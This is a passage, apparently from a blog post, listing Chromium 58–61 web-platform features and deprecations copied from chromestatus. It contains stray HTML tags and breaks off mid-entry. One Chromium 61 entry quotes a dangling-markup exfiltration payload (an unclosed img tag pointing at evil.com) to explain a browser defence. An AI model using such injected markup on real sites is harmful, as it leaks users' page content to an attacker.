longji

chromium 52 chrome 各个版本发布功能列表(58-84)

chromium Features 58-84

From https://chromestatus.com/features

chromium58 Features:41

‘allow-top-navigation-by-user-activation’ </code> keyword</li> </ol> Adds a new keyword named “allow-top-navigation-by-user-activation” for iframe sandbox, which requires a user activation (or gesture) being processed to trigger a top-level navigation. This change would enable more use cases of sandboxing untrusted third-party contents (eg., ads) by allowing top navigation while blocking malicious auto-redirecting, and thus help building a safer internet (eg., a safer ads ecosystem in which all ads could be sandboxed to prevent malicious auto-redirecting). <ol start="2"> <li><code><abbr></code> and <code><acronym></code> have underline by default</li> </ol> <code><abbr></code> and <code><acronym></code> should have dotted underline by default according to the HTML standard. <ol start="3"> <li>Allowing autoplay unmuted in WebAPK manifest scope</li> </ol> In WebAPK mode, frames that are within the WebAPK manifest scope will be allowed to autoplay media unmuted. <ol start="4"> <li>ClipboardEvent Constructor</li> </ol> This entry tracks exposing ClipboardEvent constructor. <ol start="5"> <li>Create Workers from <code>data:</code> URLs</li> </ol> HTML specifies that <code>data:</code> URLs can be used to create workers with opaque origins. We should support this as a first step towards defining a sandboxing mechanism for Workers (and parity with other browsers). <ol start="6"> <li>EME: Make navigator.requestMediaKeySystemAccess() spec compliant</li> </ol> Require that one of ‘audioCapabilities’ and ‘videoCapabilities’ be specified in the configuration passed to navigator.requestMediaKeySystemAccess(), and require that the contentType strings used as part of the entries to ‘audioCapabilities’ and ‘videoCapabilities’ include the desired codec as part of the MIME type. This item covers two bugs though only one is listed under the status section: https://crbug.com/605661, https://crbug.com/616233 <ol start="7"> <li>INPUT element: selectionDirection, selectionStart, and selectionEnd attribute getters should not throw</li> </ol> For input types which don’t support text selection API, we have thrown InvalidStateError. The specification was changed so that null is returned in such case. <ol start="8"> <li>IndexedDB 2.0</li> </ol> IndexedDB 2.0 introduces a few APIs that optimize some database access patterns and improve programming ergonomics. Chrome will support the full standard by shipping the following features: support for binary keys, object store and index renaming, getKey() on IDBObjectStore, getPrimaryKey() on IDBIndex. <ol start="9"> <li>Intervention: Offline Previews</li> </ol> When users are on slow connections, Chrome will show an offline copy of a page if there is an offline version of the page available on the user’s device. Users will be shown a lite mode UI in the omnibox. If Chrome determines the network has 2G speeds and there’s an offline page stored, Chrome shows the offline page. Chrome’s offline pages are based on MHTML snapshots. An intervention report is sent when this optimization occurs. <ol start="10"> <li>Long Task API</li> </ol> A performance API to enable applications to detect presence of “long tasks” that monopolize the UI thread for extended periods of time and block other critical tasks from being executed - e.g. reacting to user input. <ol start="11"> <li>Mouse on Android stops firing TouchEvents</li> </ol> A mouse on an Android M (or later) device: (a) will no longer fire TouchEvents, and (b) will fire a consistent sequence of MouseEvents with appropriate buttons & other properties. Before this change, a low-level mouse events in Android reached blink as a touch event, hence fired a touch event then a compat mouse event if the touch event went uncanceled. <ol start="12"> <li>Native media controls customization</li> </ol> We propose extending the “controls” attribute of the HTMLMediaElement so that the website could enable/disable certain media controls without having to implement all the controls on its own. A “controlsList” property will be added reflecting the current value of “controls” similar to the “class” and “classList” on HTMLElement. <ol start="13"> <li>Pause autoplaying muted video by attribute when invisible (Android)</li> </ol> As a muted video with autoplay attribute only starts playing when it’s becoming visible, it’s reasonable to pause them when invisible to reduce power usage. <ol start="14"> <li>PointerEvent.getCoalescedEvents</li> </ol> An API to return all the coalesced events of the received events in javascript. This API enables apps like drawing app to draw smoother curves using the precise history of points. <ol start="15"> <li>RTCPeerConnection.getStats</li> </ol> This is a spec-compliant version of RTCPeerConnection.getStats returning a promise resolved with RTCStatsReport, a maplike containing RTCStats dictionaries. Stats are being implemented according to the spec in a continuous effort for coverage to become good enough that the old getStats method can be deprecated. The old getStats (taking a callback as argument) is very different from the spec and riddled with goog-prefixed things. <ol start="16"> <li>RTCPeerConnection.setConfiguration</li> </ol> Implement setConfiguration according to WebRTC 1.0 and JSEP. This API allows an application to change the set of ICE servers, ICE candidate policy, and ICE candidate pool size without creating a new RTCPeerConnection. <ol start="17"> <li>Selection API: addRange() ignores additional Ranges</li> </ol> In a case where document already has text selection and Selection.addRange() is called, Blink merges the Range and the existing text selection into one if they have overlap, and does nothing otherwise. We’ll change it so that Blink always ignore the Range. It matches to Edge. <ol start="18"> <li>Selection API: getRangeAt() returns a Range registered by addRange()</li> </ol> Blink had a bug that getRangeAt() always returns a new Range with position normalization. It didn’t match to Edge, Firefox, and Selection API specification. <ol start="19"> <li>Selection API: removeRange() function</li> </ol> Selection interface should support removeRange() function to remove the specified Range. <ol start="20"> <li>Selection API: setBaseAndExtent() throws IndexSizeError for too large offsets</li> </ol> setBaseAndExtent() silently clamped too large offset values. IndexSizeError should be thrown for such values to match to Firefox, Edge, and the specification. <ol start="21"> <li>Selection API: setBaseAndExtent(), extend(), and collapse() throw InvalidNodeTypeError for DOCTYPE</li> </ol> These function silently normalized the specified position with DOCTYPE. However, they should throw InvalidNodeTypeError to match to Edge, Firefox, and the specification. <ol start="22"> <li>Ship PointerEvent.tangentialPressure and PointerEvent.twist</li> </ol> Adding support of tangentialPressure and twist attributes in the pointer events API on Mac. They are supported by some stylus devices and are already used in numerous painting apps. <ol start="23"> <li>Strict Secure Cookies</li> </ol> This adds restrictions on cookies marked with the ‘Secure’ attribute. Currently, Secure cookies cannot be accessed by insecure (e.g. HTTP) origins. However, insecure origins can still add Secure cookies, delete them, or indirectly evict them. This feature modifies the cookie jar so that insecure origins cannot in any way touch Secure cookies. This does leave a carve out for cookie eviction, which still may cause the deletion of Secure cookies, but only after all non-Secure cookies are evicted. <ol start="24"> <li>Trailing comma in JavaScript function parameter lists</li> </ol> A small modification to JavaScript syntax allows trailing comma in formal parameter lists and in argument lists. For example, all the following become valid: function f(a, b,) { return a + b } let g = (a, b,) => a + b f(1, 2,) + g(3, 4,) This is expected to be available by default in Chrome 58. <ol start="25"> <li>Unprefix CSS ‘line-break’ property</li> </ol> The CSS ‘line-break’ property specifies the strictness of line-breaking rules. The exact definition of the strictness depends on languages. Our implementation relies on ICU (see doc link) which supports East Asian writing systems and Finnish. <ol start="26"> <li>WebAudio: Add buffering/latency hint via latencyHint</li> </ol> Currently, WebAudio will use the lowest latency possible for the audio device for the best interactive behavior. However, for some use-cases such as media playback, this causes unnecessary power and/or CPU utilization. The latencyHint is a hint from the developer that such a latency is not required. The latencyHint is either an AudioContextLatencyCategory value or a double specifying the desired numeric latency. This is a hint to Chrome. <ol start="27"> <li>WebAudio: AudioBuffer constructor only takes one argument</li> </ol> Currently the AudioBuffer constructor takes two arguments: the context, and the AudioBufferOptions. The context argument is removed so that only AudioBufferOptions is required. In addition the sampleRate member of AudioBufferOptions is now required. <ol start="28"> <li>XSS Auditor violation report MIME type.</li> </ol> The XSS Auditor’s violation reports are now sent with a MIME type of <code>application/xss-auditor-report</code> (as opposed to <code>application/json</code>). <ol start="29"> <li>color-gamut media query</li> </ol> Expose the approximate range of colors supported by the user agent and the output device in a CSS Media Query. <ol start="30"> <li>display: flow-root</li> </ol> display: flow-root generates a block container box, and lays out its contents using flow layout. It always establishes a new block formatting context for its contents. <ol start="31"> <li>CSS class name: Apple-interchange-newline, Apple-converted-space, Apple-paste-as-quotation, Apple-style-span, and Apple-tab-span</li> </ol> These non-standard CSS classes are used to differentiate the span elements added by Blink itself in editing. <ol start="32"> <li>Remove “reset” and “document” as valid zoom values</li> </ol> There are two special values for the CSS zoom property that are inconsistently documented: “reset” and “document”. They set the element’s zoom to 1.0 regardless of parent element zoom status and prevent page zoom from affecting the element’s size. We’re removing them. <ol start="33"> <li>Deprecate and Remove case-insensitive matching for usemap attribute</li> </ol> “Compatibility caseless” had been applied to usemap attribute matching. The specification was updated so that case-sensitive matching is applied. https://github.com/whatwg/html/commit/6acdb2122298d2bb7bb839c0a61b4e1f9b0f9bc9 A deprecation warning is printed to the console starting in Chrome 57. <ol start="34"> <li>Deprecate and Remove: setting Event.cancelBubble to false</li> </ol> According to https://github.com/whatwg/dom/issues/211, setting cancelBubble to true is considered as an alias to stopPropagation(), and the spec indicates setting cancelBubble to false should do nothing. <ol start="35"> <li>Legacy caller for HTMLEmbedElement and HTMLObjectElement</li> </ol> That an interface has a legacy caller means that an instance can be called as a function. This used to be the case for HTMLEmbedElement and HTMLObjectElement but is being removed. Calling will instead throw an exception. This was deprecated in Chrome 57. <ol start="36"> <li>Remove EME from Unsecure Contexts</li> </ol> Per https://w3c.github.io/webappsec-secure-contexts/, we are deprecating and then removing EME from insecure contexts. EME is a powerful feature that exposes DRM implementations that involve access to persistent unique identifiers, are not open source, and/or run unsandboxed or with privileged access. The risks are increased when exposed via insecure HTTP, because they could be attacked by anyone on the channel. This was deprecated in Chrome 44. <ol start="37"> <li>Remove pre-standard ChaCha20-Poly1305 ciphers</li> </ol> In 2013, Chrome 31 deployed new TLS cipher suites based on Prof. Dan Bernstein’s ChaCha20 and Poly1305 algorithms. This was later standardized, with small tweaks, at the IETF as RFC 7539 and RFC 7905. We shipped the standardized variant early in 2016 with Chrome 49. We are now removing the pre-standard variants. <ol start="38"> <li>Support for commonName matching in Certificates</li> </ol> RFC 2818 describes two methods to match a domain name against a certificate - using the available names within the subjectAlternativeName extension, or, in the absence of a SAN extension, falling back to the commonName. The fallback to the commonName was deprecated in RFC 2818 (published in 2000), but support still remains in a number of TLS clients, often incorrectly. <ol start="39"> <li>VTTRegion-related bits of TextTrack</li> </ol> The interface elements regions, addRegion() and removeRegion() have been removed from the WebVTT spec and will be removed from Chrome. The VTTCue.region property was added and the VTTRegion interface was updated to match a late version of the specification. <ol start="40"> <li>WebAudio: Remove AudioSourceNode interface</li> </ol> Remove the AudioSourceNode interface. This interface is not part of the WebAudio specification, is not constructible, and has no attributes so it basically has no user-accessible functionality. <ol start="41"> <li>webkitdropzone global attribute</li> </ol> The dropzone global attribute was introduced by the HTML5 drag and drop specification as a declarative method for specifying an HTML element’s willingness to be the target of a drag-and-drop operation, the content types that can be dropped onto the element, and the drag-and-drop operation (copy/move/link). No browser has implemented the unprefixed version. Blink and WebKit implement a prefixed form of the attribute, webkitdropzone. We would like to remove the prefixed attribute. <h3>chromium59 Features:33</h3> <ol> <li>Animated PNG</li> </ol> Support for animated PNG images <ol start="2"> <li>CSP hash expressions can match external scripts.</li> </ol> CSP3 allows hash expressions to match external scripts, by relying on SRI as underlying infrastructure. That is, given <code>Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'</code>, <code><script integrity="sha256-abc123" ...></script></code> will be allowed. <ol start="3"> <li>CSP3: The ‘worker-src’ directive</li> </ol> The ‘worker-src’ directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. It falls back to ‘child-src’ (which, in turn, falls back to ‘default-src’). 04 .CSP: <code>report-sample</code> property in violation reports The <code>report-sample</code> property attempts to reach consensus on an opt-in variant Firefox’s behavior. In short, we’ll collect a 40-character sample for inline script and style violations, and include it in the violation report (and associated SecurityPolicyViolationEvent object) iff a ‘report-sample’ expression is present in the violated directive. <ol start="5"> <li>CSS Box Alignment shorthands</li> </ol> Shorthand properties to control the alignment behavior along block and inline axes in a single declaration. <ol start="6"> <li>DIALOG element has display:block style by default</li> </ol> The default display style of a DIALOG element is changed from inline to block. <ol start="7"> <li>DeviceOrientationEvent and DeviceMotionEvent constructors</li> </ol> The DeviceOrientationEvent and DeviceMotionEvent constructors are defined by the DeviceOrientation Event Specification but were not were not implemented in Chrome. Firefox has already shipped these constructors as specified. <ol start="8"> <li>Fetch API: Request#url includes the URL fragment</li> </ol> Request#url now includes the URL fragment, as per the spec. Before Chrome 59, the fragment was stripped out. This means service workers can see the URL fragment in the ‘fetch’ event handler. <ol start="9"> <li>Headless mode</li> </ol> Headless mode allows running Chromium in a headless/server environment. Expected use cases include loading web pages, extracting metadata (e.g., the DOM) and generating bitmaps from page contents – using all the modern web platform features provided by Chromium and Blink. To use headless, start Chrome with a command line flag: $ chrome --headless --remote-debugging-port=9222 https://chromium.org <ol start="10"> <li>MediaError.message</li> </ol> The MediaError.message DOMString field provides, if available, any additional vendor-specific error message detail to assist web authors debugging media player errors. The format and content of the string is left to vendors, though it’s commonly in the form of a vendor-specific error code followed optionally by a “:” and further detail about the error. It is populated at the time of MediaError creation. <ol start="11"> <li>MediaStream Image Capture</li> </ol> Enable taking pictures from an Image/Video Capture Device. <ol start="12"> <li>Navigation preload for service workers</li> </ol> An API that enables the browser to send “preload” network requests for navigations before executing the fetch event handler in the service worker that intercepts the target URL. The worker has access to the preload response inside the fetch event handler. Common use cases would be to respond with the preload response directly, or use it to populate the response. <ol start="13"> <li>Partial RTCRtpReceiver and RTCRtpContributingSource support</li> </ol> The parts of the RTC Media API (https://w3c.github.io/webrtc-pc/#rtp-media-api) that allow keeping track of contributing sources for receiving tracks. RTCPeerConnection extension: getReceivers(). RTCRtpSender support: track, getContributingSources(). RTCRtpContributingSource support: timestamp, source. Feature for the rest of the API: https://www.chromestatus.com/feature/5347809238712320 <ol start="14"> <li>Presentation API: Receiver API</li> </ol> This is implementing the receiving side of the API in order to allow a web page to be presented and interact with the presenting web page. This is also called 1-UA mode because that mode would allow the browser to render both presenting and receiving pages locally. <ol start="15"> <li>RTCConfiguration.iceCandidatePoolSize</li> </ol> Normally, ICE candidates are only gathered after RTCPeerConnection.setLocalDescription is called, because this is the point at which the PeerConnection knows how many ports it needs. The iceCandidatePoolSize member of RTCConfiguration instructs the PeerConnection to gather ICE candidates before this occurs, as a performance optimization. Thus, if setting the local description is delayed (by signaling, for example), interactions with STUN/TURN servers can occur in parallel. <ol start="16"> <li>RTCPeerConnection.onicegatheringstatechange</li> </ol> This feature adds the icegatheringstatechange event and the onicegatheringstatechange event handler to RTCPeerConnection. <ol start="17"> <li>Referrer Policy Header for CSS</li> </ol> Add the ability for CSS stylesheets to specify their own referrer policy via the HTTP header. <ol start="18"> <li>Response.redirected and a new security restriction</li> </ol> <ul> <li>Add .redirected attribute to Response class of Fetch API. Web developers can check it to avoid untrustworthy responses.</li> <li>To avoid the risk of open redirectors (https://cwe.mitre.org/data/definitions/601.html) introduce a new security restriction which disallows service workers to respond to requests with a redirect mode different from “follow”.</li> </ul> <ol start="19"> <li>Screen.colorDepth and Screen.pixelDepth can return other value than 24</li> </ol> The Screen object is no longer required to return 24 for colorDepth and pixelDepth. It enables websites to have a better idea of the number of bits being used to display a color on the screen. <ol start="20"> <li>Streams API: Piping</li> </ol> ReadableStream’s pipeTo() is the standard way to compose readable and writable streams. It reads data from the ReadableStream and writes it to a WritableStream while respecting backpressure. pipeThrough() is a simple wrapper around pipeTo() that provides elegant syntax for chaining multiple streams. <ol start="21"> <li>Streams API: WritableStream</li> </ol> WritableStream is part of the Streams API for creating, composing, and consuming streams of data. It is the writable counterpart to ReadableStream, which is already shipping in Chrome. It provides a standard abstraction for writing streaming data to a sink, with built-in backpressure and queuing. This is expected to be on by default in Chrome 59. <ol start="22"> <li>WebAudio: decodeAudioData detaches ArrayBuffer</li> </ol> According to the spec, decodeAudioData detaches the given ArrayBuffer before decoding. This means that the ArrayBuffer no longer has any contents and can’t be reused or examined. If it’s important to keep the data, user ArrayBuffer.slice(0) to make a copy for decodeAudioData. <ol start="23"> <li>rAF Aligned Touch Input</li> </ol> Align touchmove events so that they occur close to requestAnimationFrame() as possible. <ol start="24"> <li>self.origin</li> </ol> self.origin returns the Unicode serialization of the origin of the settings object of the global represented by “self” (a Window or WorkerGlobalScope). This gives scripts a consistent way of getting their origin in both situations. Note that unlike location.origin this represents the actual origin of the global, not the origin of the URL it’s loaded from. The difference can be substantial in the case of sandboxing, for example. <ol start="25"> <li>Deprecate and Disable SDCH</li> </ol> SDCH is a shared dictionary compression mechanism developed by Google but not standardized. It’s use in chrome is being discontinued. Intent to deprecate thread: https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/SDCH%7Csort:relevance/blink-dev/nQl0ORHy7sw/HNpR96sqAgAJ <ol start="26"> <li>Deprecate SVGTests.requiredFeatures attribute</li> </ol> In SVG2, hasFeature always return true. So requiredFeatures attribute not doing anything useful. It has been removed from the spec: https://github.com/w3c/svgwg/commit/9a30d01f6410dc516c5f874d71e957230a3448cd This was deprecated in Chrome 54/Opera 41. <ol start="27"> <li>Deprecate and remove -internal-media-controls-cast-button</li> </ol> -internal-media-controls-cast-button selector exposes Blink internal shadow DOM to the web content. Authors that want to have a custom cast button should use custom controls and implement a cast button with the Remote Playback API. <ol start="28"> <li>Deprecate and remove -internal-media-controls-text-track-list*</li> </ol> -internal-media-controls-text-track-list* selectors expose Blink internal shadow DOM to the web content. Authors that want to have a custom text track picking interface should use custom controls. <ol start="29"> <li>Drop support for embedded credentials in subresource requests.</li> </ol> We should block requests for subresources that contain embedded credentials (e.g. “http://ima_user:hunter2@example.com/yay.tiff”). Such resources would be handled as network errors. <ol start="30"> <li>Drop support for subresources with legacy protocols.</li> </ol> We should block requests from HTTP/HTTPS documents that target “legacy” schemes (e.g. “ftp://my-awesome-ftp-server.com/yay.tiff”). That is, the <code>ftp://</code> image referenced in https://jsbin.com/petonig/edit?html,output would not load, as the document itself is not served from <code>ftp://</code>. <ol start="31"> <li>Remove “on-demand” value for hover/any-hover media queries.</li> </ol> Remove the support for “hover: on-demand” and “any-hover: on-demand” media queries. The “on-demand” value used to satisfy for the pointing devices that, for example, “can’t normally hover, but will activate hover on a long press”. The “on-demand” value for hover/any-hover media queries has been removed from the spec in early 2016. <ol start="32"> <li>Remove FileReaderSync from service workers</li> </ol> The Service Worker spec has always had the (non-normative) note that “any type of synchronous requests must not be initiated inside of a service worker”, to avoid blocking the service worker (as blocking the service worker would block all network requests from controlled pages). However synchronous APIs such as FileReaderSync were still available in service workers. So we’d like to fix that by removing this API from service workers. This was deprecated in Chrome 57. <ol start="33"> <li>Temporarily stop permission requests after 3 dismissals</li> </ol> Temporarily stop an origin from requesting a permission following the third dismissal of a permission prompt. The stop will be lifted after some amount of time has passed (initially 1 week), after which the origin may request the permission again. A further dismissal will apply the temporary stop again. For web developers who are testing features, the block can also be removed by changing the permission’s setting in the lock icon’s page info dialog, or by clearing your browsing data. <h3>chromium60 Features:43</h3> <ol> <li>CSS line-height-step property</li> </ol> The CSS line-height-step property provides an ability to round the heights of line boxes to the multiple of the specified length. This property allows authors to control vertical rhythm. <ol start="2"> <li>createElementNS() : Throw InvalidCharacterError instead of NamespaceError on validating a qualified name</li> </ol> createElementNS() should now throw only InvalidCharacterError, not NamespaceError. Validating a qualified name should only throw InvalidCharacterError, not NamespaceError, after: https://github.com/whatwg/dom/issues/319 https://github.com/w3c/web-platform-tests/issues/5161 https://github.com/whatwg/dom/issues/423 Latest spec: https://dom.spec.whatwg.org/#validate <ol start="3"> <li>rAF Aligned Mouse Events</li> </ol> Align continuous mouse events (mousemove, mousewheel) so that they occur close to requestAnimationFrame() as possible. Historical events can be accessed via getCoalescedEvents (see https://w3c.github.io/pointerevents/extension.html#extensions-to-the-pointerevent-interface) <ol start="4"> <li>Android Payment Apps</li> </ol> Web payments is a W3C standard API for e-commerce websites to collect payment information from users with user consent. This feature lets users pay using native Android payment apps. <ol start="5"> <li>CSS font-display</li> </ol> Adds the @font-face descriptor and a corresponding property for controlling how a downloadable font renders before it is fully loaded. <ol start="6"> <li>CSS font-stretch</li> </ol> Add support the the CSS font-stretch property. <ol start="7"> <li>CSS4 :focus-within pseudo-class</li> </ol> The :focus-within pseudo-class applies to elements for which the :focus pseudo class applies. An element also matches :focus-within if one of its descendants in the flat tree (including non-element nodes, such as text nodes) matches the conditions for matching :focus. <ol start="8"> <li>Client.type</li> </ol> The type read-only property of the Client interface indicates the type of client the service worker is controlling. <ol start="9"> <li>Constructor for DataTransfer</li> </ol> The new asynchronous clipboard API makes use of DataTransfer objects and has a need to be able to construct new ones. For example (with new clipboard api): var data = new DataTransfer(); data.items.add(“(°o°)/”, “text/plain”); navigator.clipboard.write(data).then(function() { console.log(“Copied to clipboard successfully! ᕕ( ᐛ )ᕗ”); }, function() { console.error(“Unable to write to clipboard. (╯ಠ_ಠ)╯︵ ┻━┻”); }); <ol start="10"> <li>Credential Management API - CredentialsContainer.create</li> </ol> This feature introduces the CredentialsContainer.create method to the Credential Management API. This method allows for asynchronous creation of Credential objects. <ol start="11"> <li>Document constructor</li> </ol> Support new Document() to create a Document instance. <ol start="12"> <li>Don’t load tiny cross-origin plugin content</li> </ol> Remove tiny content exception for “Detect and run important plugin content” setting. This means that cross-origin plugin content that is 5x5 or smaller will not load under the default setting. <ol start="13"> <li>Drop SiteBoundCredential concept in favor of a CredentialUserData mixin in CM API</li> </ol> This change drops the SiteBoundCredential interface in favor of a CredentialUserData mixin. This change was introduced in the Credential Manager API specification with commit a43865bd8aa9842dbc8d8e688d5668c087677eac (https://github.com/w3c/webappsec-credential-management/commit/a43865bd8aa9842dbc8d8e688d5668c087677eac). <ol start="14"> <li>Expose passwords to JavaScript in Credential Management API</li> </ol> This change exposes passwords to JavaScript in the Credential Management API by providing the corresponding attribute on PasswordCredential. Furthermore it deprecates the previously existing PasswordCredential attributes and the custom <code>fetch()</code> <code>credential</code> infrastructure. <ol start="15"> <li>Feature Policy</li> </ol> Allow site authors to selectively enable and disable use of various browser features and APIs. <ol start="16"> <li>Fetch API: Request/Response.formData</li> </ol> Allows multipart/form-data and application/x-www-form-urlencoded fetch requests and responses to be consumed and parsed into FormData objects. <ol start="17"> <li>First Paint Timing API</li> </ol> API to enable developers to measure time for First Paint (FP) & First Contentful Paint (FCP) – the first key moments in loading that they care about. These moments are added as ‘paint’ entries in the Performance Timing API. <ol start="18"> <li>InputEvent</li> </ol> InputEvent allows user input to be managed by script and help interactive with IME. <ol start="19"> <li>New VP9 codec string and Profile 2 support</li> </ol> VP9 is an open and royalty-free video codec that has been supported in Chromium since 2013. This update adds a new string format for describing the encoding properties, such as the profile, level, etc. Such properties are common in video codecs but are not exposed in the current VP9 string format. In addition, this update includes using the new format to advertise support for VP9 Profile 2. The string format is accepted by media-related APIs <ol start="20"> <li>Object rest/spread properties</li> </ol> This introduces rest properties for object destructuring assignment and spread properties for object literals. <ol start="21"> <li>PaymentDetailsInitId</li> </ol> Add a free-form identifier for payment request. This will be set using PaymentDetailsInit and reflected through PaymentRequest and PaymentResponse and to payment apps. If no identifier is specified a unique identifier will be created. <ol start="22"> <li>PaymentRequest.complete result “unknown”</li> </ol> Replace the PaymentRequest.complete enum value “” with the more descriptive “unknown”. <ol start="23"> <li>Push API: support for ietf-webpush-encryption-08</li> </ol> Chrome currently supports encrypted push message payloads encrypted with the <code>aesgcm</code> content encoding (draft 03). A series of substantial changes were made to the encryption drafts, yielding a new content coding: <code>aes128gcm</code> (draft 08). We’ll continue to accept <code>aesgcm</code> for received push messages as well. <ol start="24"> <li>PushManager.supportedContentEncodings</li> </ol> Static property containing the supported content encodings developers can use for encrypting push messages. <ol start="25"> <li>PushSubscription.expirationTime</li> </ol> Property indicating the time at which, if any, the subscription won’t be valid anymore. The user agent will attempt to fire a <code>pushsubscriptionchange</code> event with a new subscription before this happens. Chrome will always return NULL, until we support subscription refreshes. <ol start="26"> <li>Remove navigator.vibrate without user gesture</li> </ol> Calls to navigator.vibrate will immediately return ‘false’ if user hasn’t tapped on the frame or any embedded frame yet. The Vibrate API is being abused by malicious sites. This extends what we do for cross-origin iframes to all frames including top-level page. See https://www.chromestatus.com/features/5682658461876224. <ol start="27"> <li>Rename <code>requireUserMediation</code> to <code>preventSilentAccess</code> in Credential Management API</li> </ol> This change renames CredentialsContainer.requireUserMediation to CredentialsContainer.preventSilentAccess in the Credential Management API. <ol start="28"> <li>Replace CredentialRequestOptions.unmediated flag with CredentialRequestOptions.mediation enum in Credential Management API</li> </ol> This feature introduces an CredentialMediationRequirement enum argument to the CredentialRequestOptions of CredentialsContainer.get() that is intended to replace the currently existing boolean flag CredentialRequestOptions.unmediated. The enum will have three states (“silent”, “optional”, “required”) with “silent” and “optional” directly mapping to the existing boolean states, “required” is a novel option. <ol start="29"> <li>Support VP9 in ISO-BMFF</li> </ol> VP9 is an open and royalty free video coding format. ISO-BMFF (MP4) is an industry standard container and is broadly accepted and used in the industry. Chrome already supports the VP9 codec (currently only in WebM container) and the ISO-BMFF container. This enables them to be used together. <ol start="30"> <li>Support for collecting payer’s name for PaymentRequest.</li> </ol> If the requestPayerName flag was set to true in the PaymentOptions passed to the PaymentRequest constructor, then UA should collect and return the payer’s name as part of the payment request. For example, this would be set to true to allow merchant to make a booking in the payer’s name. This option has been behind a flag on mobile since Chrome 55. On desktop, it’s shipping in Chrome 60 with the rest of Payment Request API. <ol start="31"> <li>Web payment manifests</li> </ol> For every payment method, there must be a corresponding JSON manifest file describing how that method participates in the web payments ecosystem. <ol start="32"> <li>X-Frame-Options: SAMEORIGIN matches all ancestors.</li> </ol> Currently, XFO performs a same origin check only against the top-level frame in a document’s ancestor chain. As lcamtuf notes in 1, “Any site that allows a rogue ad to be displayed in an IFRAME; or that frames third-party content for other reasons (e.g., iGoogle, Image Search results, Facebook gadgets), is effectively not protected).” We should check all ancestors instead. <ol start="33"> <li>getElementsByTagName accepts qualified names</li> </ol> getElementsByTagName() used to accept only local names. The DOM specification was updated to accept qualified names. <ol start="34"> <li>window.open() throws on an invalid URL parameter</li> </ol> Currently, we only log a message to the console. For consistency with other APIs, the WhatWG spec now requires that window.open throws a DOMException “SyntaxError” instead. <ol start="35"> <li>Remove Headers.prototype.getAll()</li> </ol> Headers.prototype.getAll() is removed from the Fetch API specification. <ol start="36"> <li>Remove IndexedDB: webkitGetDatabaseNames</li> </ol> The API asynchronously returns a list of existing database names in an origin, which seemed sensible enough. The design is flawed, in that the results may be obsolete as soon as they are returned, so it can really only be used for logging, not serious application logic. Not implemented in other browsers. https://github.com/w3c/IndexedDB/issues/31 tracks/links to previous discussion on flaws and possible alternatives. <ol start="37"> <li>Remove WEBKIT_KEYFRAMES_RULE and WEBKIT_KEYFRAME_RULE</li> </ol> Remove non-standardize APIs from CSS Rule and Developer can use KEYFRAMES_RULE and KEYFRAME_RULE instead <ol start="38"> <li>Remove document.createEvent(‘WebKitTransitionEvent’)</li> </ol> Remove non-standard ‘WebKitTransitionEvent’ support of document.createEvent(). <ol start="39"> <li>Remove: Content initiated top frame navigations to data URLs</li> </ol> We intend to block web pages from loading data: URLs in the top frame using <code><A></code> tags, window.open, window.location and similar mechanisms. Pseudo URLs such as data: are generally a source of confusion for users. Because of their unfamiliarity, these schemes are widely being used in spoofing and phishing attacks. Users browsing the web ideally should only ever end up on the two well known schemes (http and https). Deprecated in M58 Removal in M60 <ol start="40"> <li>Remove: NodeFilter.prototype</li> </ol> Correctly implement window.NodeFilter. It should not have .prototype, and NodeIterator.filter and TreeWalker.filter should not wrap JavaScript objects. <ol start="41"> <li>Remove: document.createEvent(‘WebKitAnimationEvent’)</li> </ol> Remove non-standard ‘WebKitAnimationEvent’ support of document.createEvent(). <ol start="42"> <li>Budget API</li> </ol> This specification describes an API that can be used to retrieve the amount of budget an origin has available for resource consuming background operations, as well as the cost associated with doing such an operation. <ol start="43"> <li>Require user gesture for beforeunload dialogs</li> </ol> The beforeunload dialog will only be shown if the frame attempting to display it has received a user gesture or user interaction (or if any embedded frame has received such a gesture). (There will be no change to the dispatch of the beforeunload event, just a change to whether the dialog is shown.) <h3>chromium61 Features:32</h3> <ol> <li>Blocking resources whose URLs contain both <code>\n</code> and <code><</code> characters.</li> </ol> As discussed in https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ, some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. <code><img src='https://evil.com/?</code> eats the page until the next <code>'</code>). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful. <ol start="2"> <li>CSP: Embedded Enforcement</li> </ol> CSP’s Embedded enforcement defines a mechanism by which a web page can embed a nested browsing context if and only if it agrees to enforce a particular set of restrictions upon itself. We should prototype an implementation to see if it’s something that solves real problems in a way we can ship. <ol start="3"> <li>CSP: Hardened <code>nonce</code> content attribute.</li> </ol> We’ve seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example. To mitigate these attacks, we’ll hide the attribute from these side-channels, and only expose the value to script. <ol start="4"> <li>CSSOM View smooth scroll API</li> </ol> Adds an optional argument to existing scroll APIs that specifies whether scrolling should be smooth. Also adds a CSS property for this. <ol start="5"> <li>Clear-Site-Data header</li> </ol> A ‘Clear-Site-Data’ HTTP header prompts the user agent to clear browsing data associated with the requesting website. The supported browsing data types are cookies, storage (i.e. “site data”), and cache. This is a privacy and security enhancing feature. A sensitive website can trigger local data deletion after the user signs out. A website dealing with a persistent XSS attack can use this to ‘reset’ itself to a clean state. <ol start="6"> <li>DOMTokenList replace()</li> </ol> Add the replace() function to DOMTokenList interface. We can use it like element.classList.replace(‘inactive’, ‘active’). <ol start="7"> <li>Expect-CT header</li> </ol> Expect-CT is an HTTP header that allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs. <ol start="8"> <li>Geometry interfaces</li> </ol> This specification describes several geometry interfaces for the representation of points, rectangles, quadrilaterals and transformation matrices with the dimension of 3x2 and 4x4. SVGPoint, SVGRect and SVGMatrix will be aliased to new interfaces. Their old methods will be maintained and some new methods are introduced. In the near future, CSS transform will be updated so they can work directly with the new objects. This avoid parsing on the js side. <ol start="9"> <li>HTMLIFrameElement.allowpaymentrequest</li> </ol> Returns a Boolean indicating whether the Payment Request API may be invoked on a cross-origin iframe. <ol start="10"> <li>HTTP Client Hints: Device-Memory</li> </ol> Client header to expose the device Memory to web applications. <ol start="11"> <li>Interoperable body/documentElement scroll behavior</li> </ol> Update 